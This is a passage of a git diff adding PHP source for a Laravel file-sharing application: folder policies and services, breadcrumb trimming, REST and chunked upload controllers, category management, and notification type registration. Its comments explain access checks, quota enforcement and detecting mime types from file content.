Notifier, so a + // burst of shares is one message — hence digestMail rather than + // mailNotification; setting both would send twice. Defaulted on, + // which is what it has always done, but it is now a type the + // recipient can switch off for themselves: before this it emailed + // through a pipeline the preference screen could not see. + $this->app->make(NotificationTypeRegistry::class)->register(new NotificationTypeDefinition( + key: 'file_shared', + label: 'A file or folder was shared with you', + template: ':itemName was shared with you', + defaultEmailEnabled: true, + digestMail: FileSharedNotification::class, + digestMailMany: FileShareDigestNotification::class, + )); + + // In-app only, same reasoning as file_shared above — email for + // this event is already sent separately, to whatever raw + // addresses Setting::AdminNotificationEmails lists (which may + // not even correspond to real staff accounts), via + // AdminClientUploadedNotification. Routing it through Notifier's + // mail dispatch too would risk double-emailing any staff member + // who happens to also be in that address list. + $this->app->make(NotificationTypeRegistry::class)->register(new NotificationTypeDefinition( + key: 'client_uploaded', + label: 'A client uploaded a file', + template: ':clientName uploaded ":itemName"', + url: fn (array $data) => route('files.edit', $data['fileId']), + )); + + // Digested rather than sent one-per-event, same reasoning as + // file_shared: staff re-issuing a whole set of drawings at once is + // the ordinary case for this type, not the exception. + // + // Its recipients are the people who could already see BOTH files + // before the link was made — resolved in FileVersions::link(), and + // resolved there BEFORE the assignment merge, so that anyone newly + // reached by the merge gets file_shared and not both. + $this->app->make(NotificationTypeRegistry::class)->register(new NotificationTypeDefinition( + key: 'file_new_version', + label: 'A newer version of a file I have is available', + template: 'A newer version of ":previousName" is available: :itemName', + defaultEmailEnabled: true, + digestMail: NewVersionAvailableNotification::class, + digestMailMany: NewVersionDigestNotification::class, + url: fn (array $data): string => route('my-files.index'), + )); + + if ($this->app->runningInConsole()) { + $this->commands([ + Console\PurgeStaleUploadsCommand::class, + Console\PurgeZipDownloadsCommand::class, + Console\PurgeExpiredFilesCommand::class, + Console\PurgeOrphanFilesCommand::class, + Console\CheckFileVersionsCommand::class, + ]); + } + } +} diff --git a/app/Modules/Files/FolderPolicy.php b/app/Modules/Files/FolderPolicy.php new file mode 100644 index 00000000..abefd40f --- /dev/null +++ b/app/Modules/Files/FolderPolicy.php @@ -0,0 +1,59 @@ +isStaff()) { + return ($user->can('upload') || $user->can('edit_files') || $user->can('edit_others_files')) + && $this->scope->allowsFolder($user, $folder); + } + + return Folder::query()->whereKey($folder->id)->visibleToClient($user)->exists(); + } + + public function update(User $user, Folder $folder): bool + { + if (! $user->isStaff()) { + return $folder->isOwnedBy($user) && $user->can('create_own_folders'); + } + + $permitted = $folder->isOwnedBy($user) ? $user->can('edit_files') : $user->can('edit_others_files'); + + return $permitted && $this->scope->allowsFolder($user, $folder); + } + + public function delete(User $user, Folder $folder): bool + { + if (! $user->isStaff()) { + return $folder->isOwnedBy($user) && $user->can('create_own_folders'); + } + + $permitted = $folder->isOwnedBy($user) ? $user->can('delete_files') : $user->can('delete_others_files'); + + return $permitted && $this->scope->allowsFolder($user, $folder); + } +} diff --git a/app/Modules/Files/Folders/BreadcrumbBuilder.php b/app/Modules/Files/Folders/BreadcrumbBuilder.php new file mode 100644 index 00000000..7c72af1d --- /dev/null +++ b/app/Modules/Files/Folders/BreadcrumbBuilder.php @@ -0,0 +1,79 @@ + + */ + public function for(?Folder $current): array + { + if ($current === null) { + return []; + } + + return $this->fromIds([...$current->ancestorIds(), $current->id]); + } + + /** + * The trail to $current, trimmed to what this viewer can actually see: + * it starts at the first visible ancestor, since a client shared with a + * folder deep in the tree has no business seeing the names of the + * folders above it. + * + * @param list $visibleIds folder ids within the viewer's subtree + * @return list + */ + public function visible(?Folder $current, array $visibleIds): array + { + if ($current === null) { + return []; + } + + $ids = [...$current->ancestorIds(), $current->id]; + + foreach ($ids as $index => $id) { + if (in_array($id, $visibleIds, true)) { + return $this->fromIds(array_slice($ids, $index)); + } + } + + // Nothing on the path is visible — show the folder alone rather than + // leaking the names of ancestors this viewer cannot reach. + return [['id' => $current->id, 'name' => $current->name]]; + } + + /** + * @param list $ids in ancestor order, root first + * @return list + */ + private function fromIds(array $ids): array + { + $folders = Folder::query()->whereIn('id', $ids)->get() + ->sortBy(fn (Folder $folder): int => (int) array_search($folder->id, $ids, true)); + + $trail = []; + + foreach ($folders as $folder) { + $trail[] = ['id' => $folder->id, 'name' => $folder->name]; + } + + return $trail; + } +} diff --git a/app/Modules/Files/Folders/FolderService.php b/app/Modules/Files/Folders/FolderService.php new file mode 100644 index 00000000..0ffbbda9 --- /dev/null +++ b/app/Modules/Files/Folders/FolderService.php @@ -0,0 +1,92 @@ +assertDepth($parent); + + return Folder::query()->create([ + 'name' => $name, + 'parent_id' => $parent?->id, + 'created_by' => auth()->id(), + 'path' => $parent === null ? '/' : $parent->subtreePathPrefix(), + ]); + } + + /** + * Reparent a folder, rejecting cycles and recomputing the subtree's + * paths in one pass. + */ + public function move(Folder $folder, ?Folder $newParent): void + { + if ($newParent !== null) { + // Into itself or any of its own descendants → cycle. + $isSelfOrDescendant = $newParent->id === $folder->id + || str_starts_with($newParent->path, $folder->subtreePathPrefix()); + + if ($isSelfOrDescendant) { + throw ValidationException::withMessages(['parent_id' => __('A folder cannot be moved into itself.')]); + } + + $this->assertDepth($newParent); + } + + $oldPrefix = $folder->subtreePathPrefix(); + $newPath = $newParent === null ? '/' : $newParent->subtreePathPrefix(); + $newPrefix = $newPath.$folder->id.'/'; + + DB::transaction(function () use ($folder, $newParent, $newPath, $oldPrefix, $newPrefix): void { + // Descendants: swap the old prefix for the new one. + Folder::query() + ->where('path', 'like', $oldPrefix.'%') + ->get() + ->each(function (Folder $descendant) use ($oldPrefix, $newPrefix): void { + $descendant->forceFill([ + 'path' => $newPrefix.substr($descendant->path, strlen($oldPrefix)), + ])->save(); + }); + + $folder->forceFill(['parent_id' => $newParent?->id, 'path' => $newPath])->save(); + }); + } + + /** + * Cascade soft-delete: the folder, every descendant folder, and all + * files within the subtree go together. + */ + public function delete(Folder $folder): void + { + DB::transaction(function () use ($folder): void { + $subtreeIds = Folder::query() + ->where('id', $folder->id) + ->orWhere('path', 'like', $folder->subtreePathPrefix().'%') + ->pluck('id'); + + File::query()->whereIn('folder_id', $subtreeIds)->get()->each->delete(); + Folder::query()->whereIn('id', $subtreeIds)->get()->each->delete(); + }); + } + + private function assertDepth(?Folder $parent): void + { + if ($parent !== null && $parent->depth() + 1 >= Folder::MAX_DEPTH) { + throw ValidationException::withMessages([ + 'parent_id' => __('Folders cannot be nested more than :max levels deep.', ['max' => (string) Folder::MAX_DEPTH]), + ]); + } + } +} diff --git a/app/Modules/Files/Http/Controllers/Api/FileAssignmentsController.php b/app/Modules/Files/Http/Controllers/Api/FileAssignmentsController.php new file mode 100644 index 00000000..f2de0a8b --- /dev/null +++ b/app/Modules/Files/Http/Controllers/Api/FileAssignmentsController.php @@ -0,0 +1,69 @@ +guardFileOwnsItsSharing($file); + + [$assignable, $targetName] = $this->resolveRequestedTarget( + $request, + __('Files can only be assigned to clients or groups.'), + ); + + // Idempotent, so a retried request is safe — which matters more + // here than on the web, where a human does not retry automatically. + $this->sharing->assign($file, $assignable, $targetName); + + return new FileResource($file->fresh()?->load(['assignments.assignable']) ?? $file); + } + + public function destroy(Request $request, File $file): FileResource + { + Gate::authorize('update', $file); + $this->guardFileOwnsItsSharing($file); + + [$assignable, $targetName] = $this->resolveRequestedTarget( + $request, + __('Files can only be assigned to clients or groups.'), + ); + + $this->sharing->unassign($file, $assignable, $targetName); + + return new FileResource($file->fresh()?->load(['assignments.assignable']) ?? $file); + } +} diff --git a/app/Modules/Files/Http/Controllers/Api/FileVersionsController.php b/app/Modules/Files/Http/Controllers/Api/FileVersionsController.php new file mode 100644 index 00000000..bb69d957 --- /dev/null +++ b/app/Modules/Files/Http/Controllers/Api/FileVersionsController.php @@ -0,0 +1,82 @@ +validate([ + 'previous_file_id' => ['required', 'integer'], + ]); + + $user = $request->user(); + assert($user !== null); + + // Resolved through the same candidate rule the pickers use, so an + // id outside this caller's reach is a 404 rather than a 403 that + // confirms the file exists. + $previous = $this->versions->resolveCandidate($file, $user, (int) $validated['previous_file_id']); + + abort_if($previous === null, 404); + + $this->versions->link($file, $previous, $user); + + return new FileResource($file->fresh() ?? $file); + } + + /** + * Remove this file's version link, making it stand on its own again. + * + * It stops inheriting the original's recipients, so it keeps a copy of + * them: unlinking never takes access away from someone who already has + * it. + */ + public function destroy(Request $request, File $file): FileResource + { + Gate::authorize('setVersion', $file); + + $user = $request->user(); + assert($user !== null); + + $this->versions->unlink($file, $user); + + return new FileResource($file->fresh() ?? $file); + } +} diff --git a/app/Modules/Files/Http/Controllers/Api/FilesController.php b/app/Modules/Files/Http/Controllers/Api/FilesController.php new file mode 100644 index 00000000..a8951f0c --- /dev/null +++ b/app/Modules/Files/Http/Controllers/Api/FilesController.php @@ -0,0 +1,342 @@ +): mixed> + */ + private function versionRelations(?User $user): array + { + if ($user === null) { + return []; + } + + // clone: the same builder is compiled into two separate subqueries, + // and a Builder is not reusable once bound. + $visible = $this->viewable->for($user)->select('files.id'); + + return [ + 'previousVersion' => fn (Relation $query) => $query->whereIn('files.id', (clone $visible)->getQuery()), + 'nextVersion' => fn (Relation $query) => $query->whereIn('files.id', (clone $visible)->getQuery()), + ]; + } + + public function index(Request $request): AnonymousResourceCollection + { + $user = $request->user(); + assert($user !== null); + + $filters = $request->validate($this->polling->rules() + [ + 'folder_id' => ['nullable', 'integer'], + 'category_id' => ['nullable', 'integer'], + 'uploaded_by' => ['nullable', 'integer'], + 'search' => ['nullable', 'string', 'max:255'], + 'public' => ['nullable', 'boolean'], + 'expired' => ['nullable', 'boolean'], + ]); + + $query = $this->viewable->for($user) + ->with(['folder', 'uploader', 'categories'] + $this->versionRelations($user)); + + if (array_key_exists('folder_id', $filters) && $filters['folder_id'] !== null) { + $query->where('files.folder_id', $filters['folder_id']); + } + + if (array_key_exists('uploaded_by', $filters) && $filters['uploaded_by'] !== null) { + $query->where('files.uploaded_by', $filters['uploaded_by']); + } + + if (array_key_exists('category_id', $filters) && $filters['category_id'] !== null) { + $query->whereHas('categories', fn (Builder $categories) => $categories->whereKey($filters['category_id'])); + } + + if (($filters['search'] ?? null) !== null) { + $search = $filters['search']; + $query->where(fn (Builder $inner) => $inner + ->where('files.name', 'like', "%{$search}%") + ->orWhere('files.description', 'like', "%{$search}%") + ->orWhere('files.original_name', 'like', "%{$search}%")); + } + + if ($request->has('public') && ($filters['public'] ?? null) !== null) { + $query->where('files.public', $request->boolean('public')); + } + + // Expiry is a filter, not a default: staff see expired files in the + // UI too (that is how they notice and act on them). Only the client + // branch of the visibility rules drops them, and it does so inside + // ViewableFileScope where it belongs. + if ($request->has('expired') && ($filters['expired'] ?? null) !== null) { + $request->boolean('expired') ? $query->expired() : $query->notExpired(); + } + + return FileResource::collection($this->polling->paginate($request, $query, 'files')); + } + + public function show(Request $request, File $file): FileResource + { + Gate::authorize('view', $file); + + $file->load(['folder', 'uploader', 'categories', 'assignments.assignable'] + $this->versionRelations($request->user())); + + return new FileResource($file); + } + + /** + * Upload a file in a single request. + * + * Send the file as multipart form data. The maximum accepted size is + * this installation's configured upload limit; larger or unreliable + * uploads should use the resumable `/uploads` endpoints instead. + * + * The stored content type is detected from the uploaded bytes, not from + * the declared `Content-Type`. + */ + public function store(Request $request): JsonResponse + { + // NOTE: docblocks on the methods in this namespace are published as + // the API reference (Scramble reads them), so implementation notes + // belong here rather than above. + // + // This is deliberately not a copy of the web FilesController::store(): + // that one exists to seed fixtures for the test suite and hard-caps + // at 100 MB in validation instead of reading Setting::MaxFileSizeMb. + // The checks below mirror the chunked flow's, which are the real ones. + $user = $request->user(); + assert($user !== null); + + $validated = $request->validate([ + 'file' => ['required', 'file'], + 'name' => ['nullable', 'string', 'max:255'], + 'description' => ['nullable', 'string', 'max:2000'], + 'folder_id' => ['nullable', 'integer', 'exists:folders,id'], + ]); + + /** @var UploadedFile $upload */ + $upload = $validated['file']; + $size = (int) $upload->getSize(); + + $maxMb = (int) $this->settings->get(Setting::MaxFileSizeMb); + + if ($maxMb > 0 && $size > $maxMb * 1024 * 1024) { + throw ValidationException::withMessages([ + 'file' => __('This file exceeds the maximum allowed size of :max MB.', ['max' => (string) $maxMb]), + ]); + } + + $folder = isset($validated['folder_id']) + ? Folder::query()->whereKey($validated['folder_id'])->first() + : null; + + abort_unless(Folder::uploadableBy($user, $folder), 403); + + // Inert for a staff token — the quota is a client-portal concept — + // but the check belongs here rather than being added later when + // client tokens land and this path silently becomes a way around it. + if ($user->isClient()) { + $quotaBytes = $this->storageUsage->quotaBytes($user); + + if ($quotaBytes > 0 && $this->storageUsage->usedBytes($user) + $size > $quotaBytes) { + throw ValidationException::withMessages([ + 'file' => __('This upload would exceed your storage quota of :quota MB.', [ + 'quota' => (string) $this->storageUsage->quotaMb($user), + ]), + ]); + } + } + + if (! $this->extensionPolicy->isAllowed($user, $upload->getClientOriginalName())) { + throw ValidationException::withMessages([ + 'file' => __('This file type is not allowed for upload.'), + ]); + } + + $diskEvent = new ResolvingUploadDisk($user); + Event::dispatch($diskEvent); + $disk = $diskEvent->disk; + + $path = $upload->storeAs( + now()->format('Y/m'), + Str::uuid()->toString().'.'.strtolower($upload->getClientOriginalExtension()), + $disk, + ); + + abort_unless(is_string($path), 500); + + $file = $this->storeFile->create( + uploader: $user, + originalName: $upload->getClientOriginalName(), + path: $path, + // From the bytes, never from the request. A caller controls the + // Content-Type it declares, and the mime type decides how this + // file is later served and previewed. + mimeType: $upload->getMimeType() ?? 'application/octet-stream', + size: $size, + checksum: hash_file('sha256', $upload->getRealPath()) ?: '', + name: $validated['name'] ?? null, + description: $validated['description'] ?? null, + folderId: $validated['folder_id'] ?? null, + disk: $disk, + ); + + return (new FileResource($file->load(['folder', 'uploader', 'categories']))) + ->response() + ->setStatusCode(201); + } + + /** + * Update a file's metadata. + * + * Only the fields present in the request are changed; omitting one + * leaves it as it was. + * + * Some fields need a permission of their own — `expires_at` needs + * `set_file_expiration_date`, `public` needs `upload_public`, and + * `categories` needs `set_file_categories`. Sending one of those + * without the matching permission leaves that field untouched rather + * than failing the whole request, which mirrors the web interface. + * + * `commentable` only has an effect while the installation's comment + * setting is "only files marked as commentable"; under any other + * setting it is ignored, again rather than failing. + */ + public function update(Request $request, File $file): FileResource + { + Gate::authorize('update', $file); + + $user = $request->user(); + assert($user !== null); + + $validated = $request->validate([ + 'name' => ['sometimes', 'string', 'max:255'], + 'description' => ['sometimes', 'nullable', 'string', 'max:2000'], + 'folder_id' => ['sometimes', 'nullable', 'integer', 'exists:folders,id'], + 'public' => ['sometimes', 'boolean'], + 'commentable' => ['sometimes', 'boolean'], + 'slug' => Rules::slug('files', $file->id), + 'categories' => ['sometimes', 'array'], + 'categories.*' => ['integer', 'exists:categories,id'], + 'expires_at' => ['sometimes', 'nullable', 'date'], + 'download_limit' => ['sometimes', 'nullable', 'integer', 'min:1'], + 'download_limit_scope' => ['sometimes', Rule::enum(DownloadLimitScope::class)], + ]); + + $attributes = array_intersect_key($validated, array_flip(['name', 'description', 'folder_id'])); + + if (array_key_exists('expires_at', $validated) && $user->can('set_file_expiration_date')) { + $attributes['expires_at'] = $validated['expires_at']; + } + + if (array_key_exists('download_limit', $validated) && $user->can('limit_downloads')) { + $attributes['download_limit'] = $validated['download_limit']; + } + + if (array_key_exists('download_limit_scope', $validated) && $user->can('limit_downloads')) { + $attributes['download_limit_scope'] = $validated['download_limit_scope']; + } + + if (array_key_exists('commentable', $validated) && $this->commenting->scope() === CommentScope::SelectedFiles) { + $attributes['commentable'] = $validated['commentable']; + } + + $wasPublic = $file->public; + + if (array_key_exists('public', $validated) && $user->can('upload_public')) { + $attributes['public'] = $validated['public']; + $attributes['slug'] = ($validated['slug'] ?? '') ?: ($file->slug ?: File::uniqueSlugFrom($validated['name'] ?? $file->name, $file->id)); + } + + $file->update($attributes); + + if (array_key_exists('categories', $validated) && $user->can('set_file_categories')) { + $file->categories()->sync($validated['categories']); + } + + $this->activity->log(Action::FileUpdated, subject: $file); + + if (! $wasPublic && $file->public) { + $this->activity->log(Action::FileMadePublic, subject: $file, context: ['slug' => $file->slug]); + } elseif ($wasPublic && ! $file->public) { + $this->activity->log(Action::FileMadePrivate, subject: $file); + } + + return new FileResource($file->fresh()?->load(['folder', 'uploader', 'categories']) ?? $file); + } + + public function destroy(File $file): JsonResponse + { + Gate::authorize('delete', $file); + + $name = $file->name; + $file->delete(); + + $this->activity->log(Action::FileDeleted, context: ['name' => $name]); + + return response()->json(status: 204); + } +} diff --git a/app/Modules/Files/Http/Controllers/CategoriesController.php b/app/Modules/Files/Http/Controllers/CategoriesController.php new file mode 100644 index 00000000..bc5a9041 --- /dev/null +++ b/app/Modules/Files/Http/Controllers/CategoriesController.php @@ -0,0 +1,128 @@ +user(); + abort_unless( + $user !== null + && ($user->can('create_categories') || $user->can('edit_categories') || $user->can('delete_categories')), + 403, + ); + + $validated = $request->validate(['search' => ['nullable', 'string', 'max:255']]); + $filters = ['search' => $validated['search'] ?? null]; + + $categories = Category::query() + ->withCount('files') + ->when($filters['search'], fn (Builder $query, string $search) => $query->where('name', 'like', "%{$search}%")) + ->orderBy('name') + ->get() + ->map(fn (Category $category): array => [ + 'id' => $category->id, + 'name' => $category->name, + 'color' => $category->color, + 'files_count' => $category->files_count, + ]); + + return Inertia::render('categories/index', [ + 'categories' => $categories->all(), + 'filters' => $filters, + 'can_create' => $user->can('create_categories'), + 'can_edit' => $user->can('edit_categories'), + 'can_delete' => $user->can('delete_categories'), + ]); + } + + public function create(): Response + { + return Inertia::render('categories/create', [ + 'colors' => array_map(fn (CategoryColor $color): string => $color->value, CategoryColor::cases()), + ]); + } + + public function store(Request $request): RedirectResponse + { + $validated = $request->validate([ + 'name' => ['required', 'string', 'max:255', 'unique:categories,name'], + 'color' => ['nullable', Rule::enum(CategoryColor::class)], + ]); + + $category = Category::query()->create([ + 'name' => $validated['name'], + 'color' => $validated['color'] ?? CategoryColor::Gray->value, + ]); + + $this->activity->log(Action::CategoryCreated, subject: $category); + + return redirect()->route('categories.edit', $category)->with('success', __('Category created.')); + } + + public function edit(Category $category): Response + { + return Inertia::render('categories/edit', [ + 'category' => [ + 'id' => $category->id, + 'name' => $category->name, + 'color' => $category->color, + ], + 'colors' => array_map(fn (CategoryColor $color): string => $color->value, CategoryColor::cases()), + ]); + } + + public function update(Request $request, Category $category): RedirectResponse + { + $validated = $request->validate([ + 'name' => ['required', 'string', 'max:255', Rule::unique('categories', 'name')->ignore($category->id)], + 'color' => ['nullable', Rule::enum(CategoryColor::class)], + ]); + + $category->update([ + 'name' => $validated['name'], + 'color' => $validated['color'] ?? CategoryColor::Gray->value, + ]); + + $this->activity->log(Action::CategoryRenamed, subject: $category); + + return back()->with('success', __('Category updated.')); + } + + public function destroy(Category $category): RedirectResponse + { + $name = $category->name; + + // Hard delete (configuration); the category_file pivot cascades, so + // files keep existing — they just lose the label. + $category->delete(); + + $this->activity->log(Action::CategoryDeleted, context: ['name' => $name]); + + return redirect()->route('categories.index')->with('success', __('Category deleted.')); + } +} diff --git a/app/Modules/Files/Http/Controllers/ChunkedUploadsController.php b/app/Modules/Files/Http/Controllers/ChunkedUploadsController.php new file mode 100644 index 00000000..142bdc66 --- /dev/null +++ b/app/Modules/Files/Http/Controllers/ChunkedUploadsController.php @@ -0,0 +1,399 @@ +validate([ + 'filename' => ['required', 'string', 'max:255'], + 'size' => ['required', 'integer', 'min:1'], + 'type' => ['nullable', 'string', 'max:255'], + 'description' => ['nullable', 'string', 'max:2000'], + 'folder_id' => ['nullable', 'integer', 'exists:folders,id'], + 'previous_file_id' => ['nullable', 'integer'], + ]); + + $maxMb = (int) $this->settings->get(Setting::MaxFileSizeMb); + + if ($maxMb > 0 && (int) $validated['size'] > $maxMb * 1024 * 1024) { + throw ValidationException::withMessages([ + 'size' => __('This file exceeds the maximum allowed size of :max MB.', ['max' => (string) $maxMb]), + ]); + } + + $user = $request->user(); + assert($user !== null); + + $folder = isset($validated['folder_id']) ? Folder::query()->whereKey($validated['folder_id'])->first() : null; + abort_unless(Folder::uploadableBy($user, $folder), 403); + + // The declared size here is client-supplied and unverified until + // complete()'s real assembled byte count — re-checked there too. + if ($user->isClient()) { + $quotaBytes = $this->storageUsage->quotaBytes($user); + + if ($quotaBytes > 0 && $this->storageUsage->usedBytes($user) + (int) $validated['size'] > $quotaBytes) { + throw ValidationException::withMessages([ + 'size' => __('This upload would exceed your storage quota of :quota MB.', ['quota' => (string) $user->storage_quota_mb]), + ]); + } + } + + if (! $this->extensionPolicy->isAllowed($user, $validated['filename'])) { + throw ValidationException::withMessages([ + 'filename' => __('This file type is not allowed for upload.'), + ]); + } + + // Checked here, before a single byte is sent, so a rejected pick + // costs nothing. FileVersions::link() re-checks it at complete() + // through FilePolicy::setVersion — that is the boundary; this is + // the courtesy. + $previousFileId = null; + if (($validated['previous_file_id'] ?? null) !== null) { + $previousFileId = $this->resolvableOriginal($user, (int) $validated['previous_file_id'])?->id; + + if ($previousFileId === null) { + throw ValidationException::withMessages([ + 'previous_file_id' => __('That file can\'t be used as the previous version.'), + ]); + } + } + + $session = UploadSession::query()->create([ + 'user_id' => $user->id, + 'folder_id' => $folder?->id, + 'previous_file_id' => $previousFileId, + 'original_name' => $validated['filename'], + 'size' => (int) $validated['size'], + 'mime_type' => $validated['type'] ?? null, + 'description' => $validated['description'] ?? null, + ]); + + return response()->json([ + 'uploadId' => $session->id, + 'key' => $session->id, + ]); + } + + /** + * Get a short-lived signed URL for one part. + */ + public function signPart(Request $request, UploadSession $session, int $part): JsonResponse + { + $this->authorizeSession($request, $session); + + abort_unless($part >= 1 && $part <= 10000, 422); + + return response()->json([ + 'url' => $this->parts->signPartUrl($session, $part, $this->partRouteName($request)), + 'method' => 'PUT', + ]); + } + + /** + * This controller is mounted twice — on the session-authenticated web + * routes and on the token-authenticated API twins — and a signed URL + * must name the route the caller can actually reach. A browser handed + * an /api/v1 URL would have no bearer token; an API client handed the + * web URL would have no session. + */ + private function partRouteName(Request $request): string + { + return $request->is('api/*') ? 'api.uploads.parts.put' : 'uploads.parts.put'; + } + + /** + * Upload one part. + * + * PUT the part's raw bytes to the signed URL returned by the sign + * endpoint. Parts may be sent in any order, and the response's `ETag` + * identifies the stored part. + */ + public function putPart(Request $request, UploadSession $session, int $part): Response + { + // The signature is the grant here (presigned semantics), but + // ownership of the session is still enforced below. + $this->authorizeSession($request, $session); + + // signPart() bounds the part number; bound the part body too, or a + // session can absorb unlimited bytes. The quota is only enforceable + // at complete(), against the assembled size — until then nothing + // stops a client declaring a 1-byte upload and streaming gigabytes + // of parts, which never becomes a File row and so never counts + // against anything. Stale sessions are purged daily, so without a + // cap here the exposure is a day's worth of disk. + abort_unless($part >= 1 && $part <= 10000, 422); + + $maxPartBytes = max(1, (int) config('projectsend.upload_part_size_mb')) * 1024 * 1024; + // Allow a little slack over the advertised part size: the client + // chooses its own chunking and only the last part is short. + $limit = $maxPartBytes * 2; + + if ($request->header('Content-Length') !== null && (int) $request->header('Content-Length') > $limit) { + abort(413); + } + + $stream = $request->getContent(true); + + try { + $etag = $this->parts->storePart($session, $part, $stream, $limit); + } catch (PartTooLargeException) { + abort(413); + } finally { + if (is_resource($stream)) { + fclose($stream); + } + } + + return response('', 200, ['ETag' => '"'.$etag.'"']); + } + + /** + * List the parts already received, so an interrupted upload can resume + * rather than start again. + */ + public function listParts(Request $request, UploadSession $session): JsonResponse + { + $this->authorizeSession($request, $session); + + return response()->json($this->parts->listParts($session)); + } + + public function complete(Request $request, UploadSession $session): JsonResponse + { + $this->authorizeSession($request, $session); + + $user = $request->user(); + assert($user !== null); + + $extension = strtolower(pathinfo($session->original_name, PATHINFO_EXTENSION)); + $targetPath = now()->format('Y/m').'/'.Str::uuid()->toString().($extension !== '' ? '.'.$extension : ''); + + try { + $assembled = $this->parts->assemble($session, $targetPath); + } catch (\RuntimeException $exception) { + throw ValidationException::withMessages(['parts' => $exception->getMessage()]); + } + + // store()'s quota check used a client-declared, unverified size — + // re-check against the real assembled byte count before this + // becomes a File row. No File row exists yet at this point, so + // cleanup only needs to undo what assemble() just wrote. + if ($user->isClient()) { + $quotaBytes = $this->storageUsage->quotaBytes($user); + + if ($quotaBytes > 0 && $this->storageUsage->usedBytes($user) + $assembled['size'] > $quotaBytes) { + Storage::disk($assembled['disk'])->delete($assembled['path']); + $session->delete(); + + throw ValidationException::withMessages([ + 'size' => __('This upload would exceed your storage quota of :quota MB.', ['quota' => (string) $user->storage_quota_mb]), + ]); + } + } + + // Never trust the client-supplied `type` (store()'s $session->mime_type) for + // what gets served back — FileThumbnailController::preview() serves files + // inline using this value, so a spoofed "text/html" would execute script in + // the previewer's browser. Detect the real mime type from the assembled bytes. + $mimeType = Storage::disk($assembled['disk'])->mimeType($assembled['path']) ?: 'application/octet-stream'; + + $file = $this->storeFile->create( + uploader: $user, + originalName: $session->original_name, + path: $assembled['path'], + mimeType: $mimeType, + size: $assembled['size'], + checksum: $assembled['checksum'], + description: $session->description, + folderId: $session->folder_id, + disk: $assembled['disk'], + ); + + $previousFileId = $session->previous_file_id; + + $session->delete(); + + // Linked after the File row exists, through the same seam the file + // editor and the API use — so the ownership rule that stops a + // client inheriting a stranger's recipients is enforced here too, + // not just in the picker. + // + // A failure here does not fail the upload: the bytes are stored and + // the row is real, so losing the file over a lost link would be the + // wrong way round. The response says the link did not happen. + // + // Its own method so the declared ?string return type reaches the + // response array — inline, the generator narrows the property to the + // one literal string the failure branch happens to produce, and the + // published spec then promises consumers a constant instead of a + // nullable message. + $versionError = $this->linkUploadedVersion($file, $user, $previousFileId); + + // The staff Dashboard has no equivalent of these — a staff + // member uploading their own file isn't "someone to notify + // about", only a client uploading is. + if ($user->isClient()) { + if ($this->settings->get(Setting::EmailNotificationsEnabled) === true) { + $adminEmails = $this->settings->get(Setting::AdminNotificationEmails); + foreach (is_array($adminEmails) ? $adminEmails : [] as $email) { + Notification::route('mail', $email)->notify(new AdminClientUploadedNotification($user->name, $file->name, $file->id)); + } + } + + $this->notifier->send('client_uploaded', $this->staffWhoCanSeeUploads(), subject: $file, data: [ + 'clientName' => $user->name, + 'itemName' => $file->name, + 'fileId' => $file->id, + ]); + } + + return response()->json([ + 'location' => route('files.download', $file, false), + 'file_id' => $file->id, + 'version_error' => $versionError, + ]); + } + + /** + * The file this user may legitimately name as an original, or null. + * + * Goes through FileVersions::candidates() rather than a plain lookup so + * the same rule applies here as in the picker — and in particular so a + * client gets their own uploads only. A client can see plenty of files + * they do not own, and since a revision inherits the original's + * recipients, resolving one of those would hand this upload a recipient + * list belonging to someone else. + */ + /** + * Mark the freshly uploaded file as a revision, if one was declared. + * + * @return string|null why it did not happen, or null when it did (or + * when nothing was declared) + */ + private function linkUploadedVersion(File $file, User $user, ?int $previousFileId): ?string + { + if ($previousFileId === null) { + return null; + } + + $previous = $this->resolvableOriginal($user, $previousFileId); + + try { + abort_if($previous === null, 404); + $this->versions->link($file, $previous, $user); + } catch (ValidationException $exception) { + return $exception->getMessage(); + } catch (AuthorizationException|HttpException) { + return __('That file can\'t be used as the previous version.'); + } + + return null; + } + + private function resolvableOriginal(User $user, int $previousFileId): ?File + { + return $this->versions->resolveCandidate(null, $user, $previousFileId); + } + + /** + * Staff who could already open this file via the activity log's own + * link-resolution rule (upload, edit_files, or edit_others_files) — + * the same permission set, just evaluated per-candidate instead of + * per-viewer. + * + * @return list + */ + private function staffWhoCanSeeUploads(): array + { + return array_values(User::query()->where('type', UserType::Staff)->get() + ->filter(fn (User $staff): bool => $this->permissions->allows($staff, Permission::Upload) + || $this->permissions->allows($staff, Permission::EditFiles) + || $this->permissions->allows($staff, Permission::EditOthersFiles)) + ->all()); + } + + public function destroy(Request $request, UploadSession $session): RedirectResponse|Response + { + $this->authorizeSession($request, $session); + + $originalName = $session->original_name; + + $this->parts->abort($session); + $session->delete(); + + $this->activity->log(Action::UploadAborted, context: ['name' => $originalName]); + + return response()->noContent(); + } + + private function authorizeSession(Request $request, UploadSession $session): void + { + $user = $request->user(); + + abort_unless($user !== null && $session->isOwnedBy($user), 404); + } +} diff --git a/app/Modules/Files/Http/Controllers/ClientFilesController.php b/app/Modules/Files/Http/Controllers/ClientFilesController.php new file mode 100644 index 00000000..888f8be9 --- /dev/null +++ b/app/Modules/Files/Http/Controllers/ClientFilesController.php @@ -0,0 +1,89 @@ +user(); + assert($viewer !== null); + abort_unless($client->isClient(), 404); + + // A client-scoped staff member may only browse this for clients + // assigned to them — the same boundary StaffLibraryScope enforces + // everywhere else in the library. + abort_unless(! $viewer->isClientScoped() || $this->scope->canAssignClient($viewer, $client), 404); + + $validated = $request->validate([ + 'search' => ['nullable', 'string', 'max:255'], + 'owner' => ['nullable', Rule::in(['uploaded', 'shared'])], + ]); + $search = trim($validated['search'] ?? ''); + $owner = $validated['owner'] ?? null; + + $files = File::query()->visibleToClient($client) + ->when($search !== '', fn (Builder $q) => $q->where(fn (Builder $w) => $w + ->where('name', 'like', "%{$search}%")->orWhere('original_name', 'like', "%{$search}%"))) + ->when($owner === 'uploaded', fn (Builder $q) => $q->where('uploaded_by', $client->id)) + ->when($owner === 'shared', fn (Builder $q) => $q->where('uploaded_by', '!=', $client->id)) + ->with('uploader', 'categories') + ->withCount('downloads') + ->orderByDesc('created_at') + ->paginate(25) + ->withQueryString() + ->through(fn (File $file): array => [ + 'id' => $file->id, + 'name' => $file->name, + 'original_name' => $file->original_name, + 'mime_type' => $file->mime_type, + 'size' => $file->size, + 'created_at' => $file->created_at?->toIso8601String(), + 'uploaded_by_client' => $file->uploaded_by === $client->id, + 'uploader' => $file->uploader?->name, + 'downloads_count' => $file->downloads_count, + 'can_download' => Gate::forUser($viewer)->allows('view', $file), + 'categories' => $file->categories->map(fn (Category $category): array => [ + 'id' => 